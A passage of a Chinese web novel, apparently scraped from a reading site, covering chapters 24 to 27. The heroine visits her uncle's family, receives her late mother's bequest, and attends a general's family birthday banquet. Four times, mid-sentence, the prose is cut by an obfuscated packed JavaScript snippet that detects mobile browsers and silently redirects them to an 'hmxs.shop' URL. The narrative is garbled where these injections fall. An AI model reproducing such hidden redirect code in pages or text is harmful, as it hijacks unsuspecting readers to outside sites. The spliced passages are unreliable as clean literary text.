“舅舅有没有怪我惹是生非？” 兰雁歌讶异抬头：“姐姐怎么会如此想？爹娘担心你还来不及。今日因你和姐夫要来，勾起母亲一肚子伤心事，叹从前，心疼你受惊受怕，又怜春草嬷嬷一腔忠义，眼泪淌个没完，姐姐快去哄哄吧。” 万山雪才走进屋子，就看见舅母黄夫人边拿帕子拭泪，边向这边张望，她再也忍不住，快步走上去，离几步远的地方倒头就拜，被黄夫人一把抱在怀里，两人哭作一团。 雁歌的声音里也漫上了哽咽：“不见面时哭尚可理解，这会子见了面不好好亲热亲热，一时分开了又是牵肠挂肚。” 万山雪坚持给舅母行了个全礼：“三年前我大婚……舅母带着妹妹千山万水赶回来，而我当时……我听继母说，舅舅舅母和春草嬷嬷的态度是一致的，都不同意我的婚事。我怕你们说什么不好的话，故而刻意疏远，真真是半分良心也没有……” 黄夫人拿着帕子帮她擦泪：“傻孩子，大婚规矩繁多，已经忙得你晕头转向，便果真有些疏忽，自家娘儿们不包容担待又指望谁去？这点子事也值得放心上。我们回来听说了春草的事，险些没唬得魂飞天外，你身上受伤没？快叫我看看，可还好？” 万山雪连说没有，握着手说了好一会子体己话。 有小丫鬟打起帘子回道：“太太，葛公子送东西来，这会子老爷正在接待崔二爷，事先嘱咐过不许打扰，故而来请示太太。” 方才大大方方的雁歌忽地红了脸，低头不语，黄夫人笑嗔道：“瞧瞧，当着你姐姐还害羞起来了，这会子我和你爹都忙着，你就去见见吧。” 待兰雁歌走后，黄夫人笑道：“雁歌的亲事定下了，那孩子与我们来往颇多，看得出人品贵重。我与你舅舅暗中审视良久，雁歌也属意于他，便定下了。” “这样大喜事，舅母怎不早说？大婚定在何时？”万山雪忙问道。 “到年根儿了，择定冬月二十过门，到时候你这个做姐姐的少不得一番忙碌。说起来，这个葛家夫人你儿时还见过许多次，只怕是不记得了。” “听着耳熟，只是记不清楚了。” “葛老爷是本朝唯一一个精通六门语言的通事，轮到葛公子更是厉害，甭管什么语言，一学就通。我们在南方时待了这些年，本地人开口我还是全然不懂，葛公子混进本地人足可以假乱真。他自小跟着父亲接待外使或是出使别过，还去东洋游历多年，虽然无心为官，有些吊儿郎当的模样，见识才学上倒是很好的，对你妹妹也极用心。” 万山雪忽地想起晨间尤氏母子的对话，她便问道：“妹妹与葛家婚事定下，外人知道么？” “那怎能瞒得住？你舅舅在朝中，妹妹不到年龄时，就有人明里暗里谈及婚事，现下婚事定了却隐瞒众人，那是很得罪人的。” 万山雪恍然，怨不得崔明之母子如此用心，此举只怕为的是一箭双雕，不光能攀附兰中正，还能借此搭上葛家这艘快船。 “光说我们了，这会子妹妹不在，你跟舅母说句掏心窝子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756667|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话，你过门许久没有孩子，婆家可曾苛责于你？你那婆母年轻守寡，独自苦撑家业，想来性子不会是和善好相与的。” 万山雪欲语泪先流，便从如何跟崔家结识讲起，一直讲到早上母子二人的变脸情形：“只可恨我从前没脑子，事事轻信继母的话才到如今，悔之无及。” 一席话听下来，黄夫人直气得浑身颤抖：“兰芬果然好手段！你母亲在世时，时时以言语弹压她，她还收敛些。自你母去后，她便时时以探望你姐弟为由，隔三岔五往万家跑。等我们觉出不对时，已经来不及挡了。整个万家都给了她尚不知足，还要毁了你和弟弟的一辈子，好毒的心肠！” “舅母别气坏了身子。只可恨我清醒太晚，白白折进去了弟弟的前程和阿母的性命。” 黄夫人喝了一盏茶，低头思忖半晌说道：“好孩子，人生还长，别委屈自己。他崔家既有事求到我们头上，回头我和你舅舅商量商量，找个妥当的法子让你们和离。别怕，我们回来了，以后你有撑腰的人了。” “是了，还有毓儿的事，我与黎家三夫人相熟，我去求黎将军收下毓儿，他会给我几分薄面的。” 万山雪噗通跪在黄夫人面前：“舅母，你说这些话，叫我如何报答……” 黄夫人一遍一遍抚摸着她的脊背：“好孩子不难过，就快解脱了……” 万山雪慢慢抬起头来：“可就算是兰芬处心积虑设计了这一切，我嫁给崔明之却是真心实意想要求得一份真心的。得不到感情，我也不能空着手从他崔家走。” “你待怎地？” “眼下他们目的很明确了，一来想求着舅舅在皇上跟前说好话，稳住崔家皇商地位，再者想借葛家在东洋的人脉开个口子。这些日子对我自然要宽容许多，我便趁机学些生意之道。将来和离了也有一技之长，这才是长久打算。” 万山雪顿了顿又说道，“就是毓儿这边，舅母也先不要管他。难得他有这个志气，就让他自己争取一次，于他而言是好事。就像黎将军所所言，十七岁的男儿，到了学着顶天立地的时候了。” 黄夫人边听边点头：“想不到你竟有这样的心胸。如此也好，这几日我还与你妹妹说，无论夫家父家是做什么的，终究自己要有立世根本，但凡身上扛着一两样拿得出手的本事，别人就不敢轻看。” 这时小丫鬟打起帘子，雁歌踏进来笑道：“母亲和姐姐不必赶工似的聊天了，方才爹爹已经和姐夫打了招呼，要姐姐在家住些日子再回去。” 黄夫人抿嘴笑道：“本是我的心里话，被他抢着说了。你舅舅这是舍不得外甥女呢！葛公子这会子呢？” 不听见回答，门口丫鬟连忙进来回道：“太太，姑娘说完就出去了。” 黄夫人不由笑骂：“瞧瞧，女大不中留，养来养去养成仇，先还忸怩着不肯去见人家……” 说着忽地想起一事来，起身示意万山雪跟她进内室去。 25. 第 25 章 黄夫人开了柜子拿出一个账本来，翻到一页指给万山雪看。 上面记着：吾妹病势沉重之际，以财物相托。有纹银五百两，点翠衔珠凤簪一对，赤金环佩四事，珊瑚璎珞两串并羊脂玉镯、翡翠耳珰、珍珠抹额诸样饰物，共计二十六件。特嘱吾待外甥女万山雪婚后有难时，交付于她。物事尚有余温，吾妹芳魂已远，二十余载兄妹缘就此断矣！临窗而坐，泪随笔下…… 万山雪伸出手指，逐字抚摸，泪眼模糊中能看到病床上奄奄一息的年轻母亲。 她病得那样重，撑着最后一口气，还要殚精竭虑为她的女儿考虑。甚至交代清楚，于婚后有难处时交付，她也曾在婚姻里受了许多委屈，窥清人心，才这般放心不下么？ 万山雪更料不到的是，这笔无人知晓的钱财，竟被舅舅舅母稳妥地收拾这么多年。他们不说，谁能知晓？ 黄夫人垂泪道：“你母亲临终前最担心的便是你，她说毓儿终究是个男孩，就算将来你父亲续娶，万家至少要给他留个容身之所。退一万步，当真做得极绝，他一个男子去打去拼出路也比你多。而你一个姑娘家，若是所遇非人，到进不能进退不能退之时，该当如何？这些钱虽然不能担保一世无忧，却也够你在落魄之际定心缓神，不至于走上绝路。” 万山雪红着眼问道：“当时母亲与父亲关系已经不好了么，年纪轻轻，怎会打算这样长远？” “说良心话，你父亲对你母亲一直是很真心的。你母亲容颜极好，性情温良，娘家得力，帮了你父亲不少。你母亲生前他连一个‘不’字都没说过。春草抱着孩子跪在万家门外时，你祖母大怒坚决要撵她走，是你父亲怕你母亲难过，违抗母命同意了。” 黄夫人眼里流出一丝悲哀：“至于你说为何会预料这样准，大约只能归因为通透。我与你舅舅冷眼看了这些年，无数次慨叹你母亲的明智。她得到了真心，却深知人心易变，不抱久远奢望。你无需对你爹爹怀恨，毕竟那会子年轻，苛责他一辈子守着你们姐弟俩过，也说不过去。” 万山雪想起曾听到江嬷嬷和刘嬷嬷私下说的那句话“先夫人那等聪慧，怎养出这样两个孩子”，那时心里极不舒服，而今不得不承认，这句话已经太客气了。 她拦住起身取东西的黄夫人：“舅母，我眼下没有什么大的花销，又不懂怎样打理钱财，拿着钱就譬如稚子怀碧玉。若是失手花掉了，倒对不住母亲，更对不住舅舅舅母这些年苦心为我保管的情意。” 黄夫人却坚持取出来，与她一一过目，而后收在匣子里交给她：“舅母深信，经历这些事，你已经长大了，交给你没有什么不放心的。二则，以前在京时你年纪小，少有机会与你讲讲你母亲。你收着，也算是一点子念想。再者，生意家庭出身之人精明异常，不会轻易许你插手家族生意的，只能静待时机。这期间你手头宽裕些，做事也有胆气。” 丫鬟进来请示午膳安排，黄夫人出去了，万山雪对着先母遗物默默垂泪。 这些年继母再如何待她好，她也知道，万山锦兄妹才是人家的亲骨肉。面上是恃宠而骄的大小姐，心里终究是缺了一块的。 待认清兰芬之后，更觉婆家所托非人，娘家不是归宿，茫茫天下，竟无一寓身之处。 虽然在弟弟红璎他们面前，总是竭力做出坦然坚定的模样，心里却难免失落空荡。 而今才恍然意识到，原来有人这样深切地爱着她。母亲性命垂危时，还要竭力护她周全。舅舅舅母待她之心又何其纯善，她觉得心好似一叶扁舟，忽地明晰了归处，便是飘飘荡荡亦不觉凄清。 用过午膳后，崔明之恭谨辞道：“既是舅舅舅母疼爱，就留雪儿叨扰几日，四日后我来接她。是了，晚间让橘霜收拾些你的衣物一并送来。” 他望向万山雪的眼神温柔宠溺，任谁看去都觉得这是恩爱两不疑的夫妻。 黄夫人说道：“你生意繁忙，自去忙碌就是，又操心她做什么？黎府老太太过寿那日贵府想必也是要去的，到时候一起回去岂不两便？” 她顿了顿又说道：“我这个做舅母吹句大话，莫说是住上三日五日，就是三十年二十年，还能缺着她吃的用的不成？” 崔明之赔笑说道：“舅母所言极是，只是家母事事总喜欢与雪儿商量，对儿媳依赖竟胜过儿子许多，乍然离开数日，只怕又要一天催我几遍来接了。” 万山雪直直地看着他，他的视线对上来，自若又温柔，仿佛所言无一字虚假。 兰雁歌待崔明之的身影远去，便迫不及待拽了万山雪：“快走，姐姐，我也有许多话要跟你说呢。这几天你得分成两半，一半时间归我，一半时间才归我娘。” 万山雪回头瞧见舅舅舅母并肩而立，一脸慈爱地看着她俩，不由得鼻头一酸。 雁歌紧紧地贴着她，发间淡淡的茉莉香味儿好闻极了，微风拂过她的发丝触在万山雪脸上，痒酥酥的，她却舍不得躲开，连两人手心的薄汗都觉得清爽。 她有一瞬间的恍惚，似是重生一次，生在一个父慈母爱的家里，没有姊妹不平的争竞，没有冷言冷语的夫君婆母，指尖所触，皆是温暖自由。 她们挤在窗下的贵妃榻上，肩挨着肩，互相帮对方指甲涂蔻丹，用汤匙舀起冰碗里的菱角鲜藕鸡头米，喂给对方吃。 月夜她们乔扮成农家女，到附近荷塘里泛舟采莲，歌声笑声如珠似玉，惊起几只鱼儿，溅得裙裾上满是荷花清香。两人吃着新莲，仰头醉在满天星河里。 玩倦了，便溜回闺房，各自手持书卷随意躺着，头挨着头，每每看到新奇热闹处就赶紧指给对方，俗世间的烦恼仿佛都不存在。 等到第四日早上，崔家送信说晚间要来接她时，她才惊觉，从前在崔家深宅只觉得苦闷漫长的一日一日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756668|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，竟然可以如此短暂。 偷得的几日自在，足以成为日后步步为营的日子里，心尖尖上那一块吃不完的蜜糖。 兰中正脸上满是不悦，对小厮说道：“去告诉崔家人，我兰家不缺车子，何时雪儿想回了我们送回去就是，不必来催。” 万山雪揣度着舅舅必然都听舅母讲了那些过往，忙拦住说道：“舅舅，我也该回去了，往后你们长住京城，我们便可以时常相见了。” 兰中正叹口气道：“依我说，我们回来了，你委实没必要继续忍受委屈，干脆这次就去崔家将所有东西收好带回来。万家不用回了，以后就住这儿，有我和你舅母一口饭，就饿不到你。” 万山雪含泪道：“舅舅舅母怜爱之心，我已深深体会。只是舅舅，我是受人算计进的崔家，这里头的千丝万缕还没理清楚，更有阿母中毒一事，若不弄个水落石出，我是不能走的。” “好，无论何时需要我们出手相助，都要记着，你不是孤木。” 万山雪连连答应，桌上一时陷入沉默。 片刻后，兰雁歌对着一旁的丫鬟说道：“这两样菜混在一块味儿真怪，重新盛碗饭来。” 兰中正示意道：“来，倒给我吃。” 万山雪见他脸色不虞，以为要发火了，一时停了箸瞧着，兰雁歌噘嘴撒娇道：“得得得，不敢劳父亲大人驾，我吃我吃。” 兰中正伸手将她的碗端过来，往自己碗里一倒，示意丫鬟重新盛饭，温和说道：“吃饭欢喜，咽下去的五谷杂粮才能给你增添精神气血，何必勉强。” 黄夫人说道：“吃你的吧，你老子这是为中原旱情发愁呢，吃你的剩饭又不是一回两回了。” 又对万山雪解释道，“中原夏日收麦时遭遇连绵阴雨，损失惨重，种秋后又遇干旱，几个月不见一滴雨。偏是今年不安生，南方几省洪涝北方几省干旱，从朝堂到地方都是心力交瘁。我们回京时，亲眼看见中原旱情，土地裂开这么大口子，秧苗都死完了，你说心不心急？你舅舅这些日子为这个焦得满嘴燎泡。” 雁歌说道：“再焦头烂额，也要分个轻重缓急，拣最严峻的地方先解决。” 兰中正叹口气说道：“你瞧，闺阁姑娘都懂的道理，那些朝臣皇商们能不知道？一波蜂拥去帮忙缓解北疆旱情，一波捐钱捐物去徽州救洪涝，唯独将中原撂在这儿了。” 北疆，是皇族故乡。而徽州是金弘故里。 傍晚时分，天边燃起漫天霞光。 金橘色的光芒如绸缎般从天边铺洒开来，顺着屋顶流淌而下，拂过行人的脸庞衣袂，平添了几分亲切。 崔明之如约来接，她敛衣整裙上马车，回望兰家时，只觉得这个小院立在浮动的暮色里，像是记忆里已经很模糊的母亲的臂弯，安定、温暖。 这里面也住着除了她和万山毓以外，跟母亲最亲近的人。 26. 第 26 章 走到半途，牧笛忽地停住，跳下来喊了一声“二爷”却又止住。 万山雪自觉地捂住耳朵。 崔明之蹙眉对窗外低呵道：“有话就说。” “二爷……乌姑娘与丫鬟在桥上招手……” “绕路。”崔明之丢下两个字。 万山雪被他声音里的冰冷激得一颤，忽地想通了一处关窍。 崔氏母子态度转变，未必只是因舅舅回京升职及葛家儿郎的干系。 那一日燕楼乌思羽的表现，大抵使他们发觉，如万山雪这般死乞白赖求着崔明之好脸子、还不敢闹脾气的姑娘，满京华难寻第二个。 就是有，家世也未必称他们的意，故而生出“不如怜取眼前人”之意。 她暗自冷笑：只可惜，过去那个万山雪已经死了。 崔明之带着淡淡的笑意问：“这几日住得可好？” 她不冷不热“嗯”了一声，旋即问道：“不知二爷和太太忧心一事，可有眉目？” 他摇摇头：“暂时还不明朗。” 万山雪沉思片刻，将中原旱情一事说了：“二爷知道，我这个人最是百事不通的，只是私下想着，此时众人都一窝蜂地往投机取巧处烧热灶，反而显不出来谁贡献多。若是二爷率先去中原施舍粥饭安抚百姓，冷灶说不定能烧成热灶。即便最终达不成目的，于崔家名声而言，终究是好事一桩。就是将来舅舅想为咱们说句话，也是有理有据的，以免别人说徇私之名。” 说完她故作心虚地看了看崔明之：“不知我这话是否有理，若是说得可笑，二爷就作笑话听罢，别当回事。” 崔明之半晌没有说话。许久才道：“夫人这个主意倒是高明得很。” 万山雪一时分不清他是嘲讽还是认真，没有应声。 崔明之又道：“可叹这么多自诩绝顶聪明之人竟没想到，我回去跟母亲商量一声。” “二爷谬赞，我是听舅舅一家子闲谈总结出来的罢了。” 那些人怎会想不到呢？ 不过是世人惯会权衡利弊，挑回报最丰厚的罢了。 到了崔家，崔明之仍不离左右，直陪着万山雪往院子里去：“母亲今日召了掌柜议事，只怕要到很晚了，你用过晚膳就歇下吧，明日再去请安也是一样的。” * 夜色沉沉将暑气滤去过半，只剩下些许黏稠的余温。将满未满的月亮悬在天心，清辉泼洒下来如给万物敷上一层薄霜，聒噪了一日的蝉鸣也变得寂静起来。 黎偃松伏在桌案上，对着一幅地图凝神苦思，帘栊响动，带进来些清凉的夜气，伴随着丝丝缕缕的柏子香，那是母亲孙夫人惯用的熏香。 他急忙起身迎接：“夜深了，母亲怎么还没歇下？” 孙夫人身后的丫鬟从食盒里端出一碗安神汤，还有一碟薄薄的雪梨片，轻手轻脚关了门出去。 孙夫人怜爱地看着儿子，说道：“今夜难得凉爽，多陪你祖母坐了会儿，听说你还在书房用功，便来看看。你忙你的，我略坐坐就走。” 自他离家后，聚少离多，每每回家又是忙得不可开交，与母亲这样相对而坐的时光当真难得。 他合上地图，搬了一把小椅子在母亲下首说道：“没什么要忙的，不过是消遣罢了。母亲多坐会儿，儿子陪你说说话。” 孙夫人笑道：“我不敢说话，嘴里没一句话是你爱听的，何苦巴巴跑来讨你嫌？” 黎偃松也笑了：“不就是催婚么，母亲大人只管说便是，我都记心里。” “兰中正大人你可还记得？他奉旨回京，阖家都搬回来了。” “母亲不必说了，这定是要我与兰大人家的千金相亲是么？母亲定下日子，我去就是。” 回来这些日子，他也想明白了，自身感受要捍卫，亲人的想法也要顾及，不过是走走过场罢了，不值当吵得脸红脖子粗，落得彼此神伤。 孙夫人又是气又是笑，忍不住伸手在他额上戳了一下：“做你的春秋大梦呢！前年我就跟你提过，说兰大人为官多年，清正廉洁，他夫人我也是相熟的，性子极善。长子早夭，只有这么一个宝贝女儿，日后视你必如己出。你拿心澜做挡箭牌一口回拒了，害得我们都信以为真，巴巴儿等着你俩再大些订婚。这会子瞒不过你老子娘了，吐口要议亲了？人家女孩儿早八百年跟葛家定下了！” 孙夫人越说越气，赶着在他背上打了两下：“千妥万妥的好姻缘，硬生生放过了。你说你这孩子，叫我说你什么好！” 黎偃松笑着任由母亲撒气：“能被放过的，算什么好姻缘？是您老人家说都是我不爱听的，我才以为要给我提亲事。” “前儿你爹爹跟我说，你回京时救了那崔家媳及她后来想把弟弟送过来跟你参军的事情，听说你当时便拒绝了。想来你不知晓，兰大人是他们的亲娘舅，这里面倒牵扯进一桩人情。我今儿收到兰家夫人的帖子，揣摩着她一为叙旧，二则只怕是要一提外甥参军之事。故而提前来与你商量，若是这孩子果然有几分可取之处，就替我徇个小小的私，带他去历练一番可好？” 黎偃松不知怎地，一听到“崔家媳”三个字心跳就猛地停掉一拍，顿了顿说道：“这不是什么大不了的事儿，我不过要试一试她弟弟的心志是否坚定，就这样急着四处找关系托人说情么？” “你别胡乱怪人家。这不过是我自己揣度的，事先与你言一声。若真不够格，也不必为了我的话网开一面。”孙夫人话锋一转道，“瞧你方才怪积极的，既不反感，我明儿可就托人给你说亲了啊？” 黎偃松答应道：“行，反正没几天我就得离京了，母亲大人怎么开心怎么来。” 孙夫人气结，起来就要走。 黎偃松连忙拽着衣袖，好声好气说道：“母亲别恼，我只是担心，若是夫妻俩毫无感情，漫漫一生要如何过下去。” 孙夫人重新坐下来，望向他的一双眼里满是心疼。 他将心底无法言说的情愫压了又压，轻声道：“那些女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756669|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子都很好很好，比如心澜，在世人看来，容貌、家世、方方面面我们都合适，可是一想到要共处余生，生儿养女，我与她都无法接受彼此。娘，再给我点儿时间，可好？若是两年后还是遇不到心仪之人，我愿听凭父母安排婚事，绝无怨言。” 孙夫人轻轻抚摸着他的脊背，久久无言。 窗外愈发明亮的月光将树枝绘成浓淡相宜的水墨画投在地上，屋内一片寂静。 良久良久，他才听到孙夫人轻声说道：“孩子，娘再不催你了，你随心吧。” * 万山雪回房，匆匆用过晚膳，便抱出托舅舅买来的《古今商贾便览》细细读起来。 久不捧书之人，初读时只觉得晦涩难懂，每两句便要停下来思索一番，想着想着思绪就飘远了，赶紧拉回来，如此反复数次，才渐渐品出其趣味来，不觉读到了夜深。 书突然被人拿走，她蓦地吃了一惊，抬头看时，却是崔明之，连忙夺过来滚烫着脸说道：“二爷怎地回来了？也没听见人通报。” 崔明之身上带着淡淡的酒气，微微俯身看着她：“是我怕扰了你。怎么这般用功起来？” “用什么功，不过是那日闲谈提及太太说我身为崔家主母不可一无所知的话，舅舅便给我买了这本书，说开卷有益，纵然学点皮毛也是好的。”她边说边胡乱掩了书，向后退了两步。 崔明之却又逼近两步，轻笑道：“放着我这个现成的生意人不请教，却跟书本上的学，岂不是舍近求远？” “自然，遇到看不明白的，还请二爷不吝赐教。”万山雪说道，“二爷喝了不少酒吧，我喊她们盛碗醒酒汤来。” 崔明之的眼里忽地又闪出一抹熟悉的厌恶之色，淡淡道：“不必了。”随即转身离去。 万山雪这才长舒了一口气，他必是以为她欲擒故纵，想要拿捏他。 无论如何，走了就好。 她劫后重生般欢喜地喊了一声：“橘霜，帮我备水沐浴。” 橘霜应着，却等了好一会儿才进来，满脸关切道：“二爷与奶奶拌嘴了？方才奶奶喊备水时，二爷就在廊下站着，脸色难看极了。吓得我也不敢动。” 万山雪心里明镜似的，嘴上却只装糊涂：“谁知道发什么疯，理他呢。” “奶奶这几日不在家还不知道，”橘霜往乌思羽院落的方向努了努嘴，“那位这几天可没少哭眼泪，二爷不知怎地，突然就对人家冷淡起来。” 红璎在一旁嗤之以鼻：“这有什么想不明白的？从前太太和二爷知道万家待奶奶不真心，怎样欺负人都没事。如今走一趟兰家，知道真正主事撑腰的人回来了，就知道风该往哪儿吹了。” “理儿是这么个理儿，怎么话从你嘴里说出来格外难听？”橘霜闷闷道。 万山雪噗嗤一声笑了，旋即正色说道：“私下说说无妨，只是你们在府里行走千万不要流露出来，仍如往日一般待乌姑娘。说到底，人家是崔家斩不断的近亲，咱们可不一样。” 27. 第 27 章 晨曦初透，将军府的朱漆大门便缓缓洞开。 依着老太太的意思，只是要图个一家子骨肉热闹便罢，奈何架不住皇上隆恩，特召黎偃松回京与祖母过寿，是人人皆知的荣宠，百官必然要来贺寿，太简朴恐显得怠慢，故而这几日黎家里里外外彻底装饰了一番。 门楣上悬着御赐的“寿”字鎏金匾，两侧垂着丈余长的猩红锦缎。二十名青衣小厮雁翅排开，垂首立于两旁。 从大门至内院的青石板路上摆了两行松柏，或系红绸或挂红灯笼，映得满庭暖融融的。 樊老太太穿着暗纹福字绛紫绸衣，满头银丝用一支水头极好的翡翠簪子挽着，慈爱地笑着看着满堂儿孙。 黎偃松一进门便被侄女庭安扑过来抱住了腿，只听她奶声奶气地问：“三叔，你给老祖母准备的什么礼物？跟我比比，看谁的好。” 黎偃钟笑着抱起庭安，对他睐了睐眼说道：“我们都正夸庭安为祖母送的花朵最好，庭安还不信，非要等你的寿礼也呈上来，一决高下。” 黎偃松向门口一招手，金鲤端着茶盘进来，青俚跟在身后抱着个罐子，一齐给老太太磕头。 黎偃松接过茶盏奉给老太太：“祖母，尝尝孙儿烹茶的手艺如何。” 老太太笑道：“甭说我小孙子亲自烹的茶，就是接捧子雨水来那也是香甜的。” “祖母这样捧场，孙儿这片孝心可算是全了。” 老太太满口说好，伸手就要接茶，孙夫人伸手给了黎偃松一下子：“你这孩子，老太太疼你，我可不依。老人家难得同意过寿，你就这么潦草蒙混？” “倒不是我耍赖，祖母知道，孙儿想来大手大脚，寅年吃了卯年粮，手里实在是没钱。” 黎偃松素日不苟言笑惯了的，当着长辈总是稳稳当当的模样，这会子乍然说这样可怜的话，搭上那张严肃的脸，倒比爱说笑的人说出来更有意思，众人都喷笑。 他早起就听说老太太思念亡夫与大儿二儿，哭了一场，因而有意逗她开怀。 果然老太太大笑道：“你们瞧瞧，小三儿如今也这样油嘴了。你既知道管不住账本，还不趁早娶个媳妇来约束你？” 待说笑过后，青鲤才老实说道：“老太太，这是去年冬日北疆第一场雪落时，三爷特地去山上寻最高处的竹子与松柏撷取的上层雪，封入坛中，说要待老太太寿宴时取出烹茶。” 黎偃松这才端正跪好，将茶盏奉上：“请老太太饮下这杯融了梅花香、松柏意与孙儿挂念的雪水，自此百病不侵，福寿安康。也请老太太放心安享日月，孙儿时刻谨记祖母教诲，立身清正，行动说话不敢有辱家风。” 老太太又是感动又是心疼，接过茶盏饮毕，一把将黎偃松拉到身旁搂住，嗔怪孙夫人道：“瞧你娘，不明白松儿的心意就打人，罚你今日多饮两杯酒。” 二太太在旁笑道：“这可真是千古奇冤，我为大嫂鸣不平。” 庭安抱住樊老太太膝头撒娇：“老太太还没说呢，我和三叔谁的寿礼好？” 老太太毫不犹豫撇开黎偃松，将小家伙抱在怀里亲了一口说道：“那自然是我们小庭安的寿礼最好。” 黎玄笑道：“这些年老太太因为三个宝贝孙子，没少骂我们做儿子儿媳妇的，看见松儿他们也有今日，我这心里总算平衡了。” 众人说笑一阵，一波一波的客人便来贺寿了，真个是宾客如云，忙得黎家人连喝口水的时间也无。 不多会儿，东厢房内便摆满了各府送来的寿礼，等人高的琉璃镜，墨绿幽蓝交织的孔雀羽大氅，价值不菲的瓷器……看得人眼花缭乱。 小厮们抬进来给老太太一一过目，浮华之物黎家上上下下都是空见惯的，不过登记入库，并不格外注意。 黎偃松正与客人说话，忽见众人皆向身后看去，他回转身子，恰见崔明之携万山雪而来。 崔家小厮们抬着双面绘屏跟了进来，黎偃松一面与崔明之寒暄客套，一面扫了一眼绘屏，见那正面画着麻姑献寿图，仙姑裙带翻飞处掺入金粉，在阳光下泛着粼粼星光。手中的蟠桃尖尖上漾着的水珠，是用蚌壳薄片镶嵌而成，随行仙鹿的眼睛亦活灵活现，一望而知崔家是下了血本的。 待看清背面，宾客们先忍不住喝彩起来，背面画着的竟是将军府的影壁上那副铁马冰河图。 老将军的铠甲以焦墨皴擦出粗粝质感，破损处露出底层的朱砂红，仿佛凝固的血色。枪杆用赭石掺着铁砂绘制，观者几乎能闻到金属的腥气。最绝妙之处在于，画师在薄如蝉翼的宫绢正反作画时，让色彩相互渗透叠色，麻姑衣带间透出背面战场的暗纹；将军裂甲处又映出仙桃的淡红轮廓。正面青绿山水的石色透过绢丝，在背面化作远山残照；而玄铁盔甲的墨色漫过经纬，在正面成为麻姑发间的乌木簪。 只这一眼，黎偃松就认定了，这个寿礼必然是万山雪的主意。 他听过崔家太太的名声，知道那是个再聪明不过的妇人，亦知崔明之极会来事，可不知为何，他就是无比确定，这个点子只可能出自她。 他陪着崔明之去给老太太拜寿，原本谈笑风生的樊老太太一看见这副绘屏便不由得立起身来，仔仔细细地来回看，黎偃松知道她在压抑眼底的泪水，搀着老太太不离左右。 过了半晌，老太太敛去泪意，说道：“有了金戈铁马杀伐果决，才有盛世太平下的庆寿。好孩子，难为你这样用心。” 崔明之给老太太磕了头贺寿，说道：“晚生蠢笨，是内子钦佩黎家世代忠义，老太太持家教子有方，想了这个主意略表心情，还请老太太不嫌鄙薄。” “令夫人何在？今日怎地没有同来？” 万山雪从外面进来，黎偃松目不斜视，余光却忍不住将她周身看了个遍。 她穿着藕荷色裙裳，乌发绾成朝云近香髻，只一根白玉簪，落在他眼底却比满座珠翠更显光辉。 她走向老太太，与她的夫君并肩而立。 他只觉得手心里隐隐一阵刺痛，多年戎马练就出无波无澜的心境，忽地被一支淬了蜜糖的暗箭穿透。 他一遍遍骂自己荒唐，若说就只为少年时的偶遇，这份心动未免太离谱。若说因为再见惊艳，可这满院待嫁女子，随便哪一个拎出来，论性情论名声，论身世论容貌身段都不会逊色于她，你是疯了么黎偃松？ 他挪开眼去，她的一字一句却还是顽固地从耳入心：“妾身崔门万氏，见过老太太，恭祝老太太平安康健 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756670|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 崔门万氏，崔门万氏，呵…… 黎老太太忙命近身来，牵着手打量片刻对众人笑道：“好一对佳偶，你们瞧瞧这俩孩子，多么相配！赶明儿降喜得麟儿，还不知要好看到哪里去呢！” 正拉着打趣时，孙夫人快步近前说道：“老太太，宫里方才来人传了话，说姜公公奉旨为老太太贺寿，片刻即至。” 老太太起身去更换衣服，万山雪从未见过传旨的排场，很想跟去看看，一旁的江心澜悄悄拽了拽她的衣角，两人对个眼色，躲去离前院最近的厢房里。 不多会儿，黎家人个个整装肃容，屏气凝神按长有次序列队等待，只见身穿宮服的一队太监缓步而入，司仪官高呼一声：“圣旨到！” 黎偃松扶着老太太正要下跪，正中的姜公公急忙上前扶住：“皇上特意嘱咐，老太君年高德劭，免行全礼。” 